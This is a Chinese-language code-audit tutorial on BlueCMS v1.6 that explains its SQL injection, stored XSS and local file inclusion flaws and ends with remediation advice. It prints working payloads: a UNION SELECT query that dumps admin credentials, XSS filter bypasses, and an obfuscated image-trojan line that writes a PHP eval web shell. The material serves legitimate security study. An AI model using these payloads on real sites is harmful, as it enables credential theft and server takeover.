从小众blueCMS入坑代码审计
字数 1437 2025-08-18 11:38:08
BlueCMS v1.6 代码审计与漏洞分析教学文档
一、环境准备
- 目标系统:BlueCMS v1.6
- 测试环境:
- Phpstudy(快速搭建环境)
- PHP 5.2 + Apache + MySQL
- 操作系统:Windows 7 64位
二、漏洞分析
1. SQL注入漏洞(问题1)
漏洞文件:ad_js.php
漏洞原理:
- 系统在
common.inc.php中对$_POST、$_GET、$_COOKIES和$_REQUEST进行了统一的GPC处理(通过deep_addslashes函数) - 但
ad_js.php中直接拼接变量$ad_id,未使用单引号包裹,绕过了魔术引号的转义
关键代码:
// common.inc.php
if(!get_magic_quotes_gpc()) {
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
// ad_js.php
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
漏洞利用:
http://172.16.69.2/bluecms/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6, GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
2. SQL注入漏洞(问题2)
漏洞文件:comment.php
漏洞原理:
- 系统遗漏了对
$_SERVER变量的过滤 - 通过伪造
HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等HTTP头可注入SQL
关键代码:
function getip() {
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} // ... 其他条件
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
3. XSS漏洞(存储型)
漏洞文件1:user.php(编辑个人资料处)
漏洞原理:
- 只有
$address进行了html转义处理 $email和$msn变量未充分过滤
关键代码:
$email = !empty($_POST['email']) ? trim($_POST['email']);
$msn = !empty($_POST['msn']) ? trim($_POST['msn']);
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']);
漏洞利用:
在email或msn字段插入XSS payload:
<script>alert(1)</script>
漏洞文件2:user.php(添加新闻处)
漏洞原理:
$descript和$content未进行html转义处理filter_data函数的过滤可被绕过
关键代码:
function filter_data($str) {
$str = preg_replace("/<(script|i?frame|meta|link)(\s*)/i", "", $str);
return $str;
}
绕过方法:
- 使用``
- 大小写绕过:
<ScRipt>alert(1)</ScRipt> - 重写绕过:
<scir<script>pt>alert(1)</script>
4. 本地文件包含漏洞
漏洞文件:user.php(支付功能处)
漏洞原理:
$_POST['pay']未做安全检测直接拼接- 无法使用
%00截断(POST数据被转义) - 可利用文件路径长度截断(Windows 259字节,Linux 4096字节)
关键代码:
include 'include/payment/'.$_POST['pay']."/index.php";
利用步骤:
- 上传图片马(如
devilzShell.jpg) - 包含该文件执行恶意代码
高级利用:
上传包含以下代码的JPG文件:
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='))?>
执行后会在根目录生成lost.php小马:
<?php @eval($_POST['lostwolf']);?>
三、漏洞修复建议
-
SQL注入防护:
- 对所有用户输入进行严格过滤
- 使用预处理语句(PDO或mysqli)
- 对
$_SERVER变量也进行过滤
-
XSS防护:
- 对所有输出到页面的变量进行html实体编码
- 使用更严格的过滤函数
- 实施CSP策略
-
文件包含防护:
- 限制包含的文件路径
- 对用户输入进行白名单验证
- 禁用危险函数如
include、require等
-
文件上传防护:
- 验证文件类型和内容
- 限制上传目录的执行权限
- 重命名上传文件
四、总结
本教学文档详细分析了BlueCMS v1.6中的多个安全漏洞,包括:
- 2种不同的SQL注入漏洞
- 2处存储型XSS漏洞
- 1处本地文件包含漏洞
通过实际代码分析和漏洞复现,展示了漏洞的发现过程和利用方法。这些漏洞的根源在于:
- 输入验证不充分
- 输出编码缺失
- 危险函数的不当使用
- 安全过滤的遗漏
对于代码审计新手,建议:
- 从简单的CMS系统开始审计
- 重点关注用户输入点和敏感函数
- 建立系统的审计流程和方法
- 多参考优秀的安全分析文章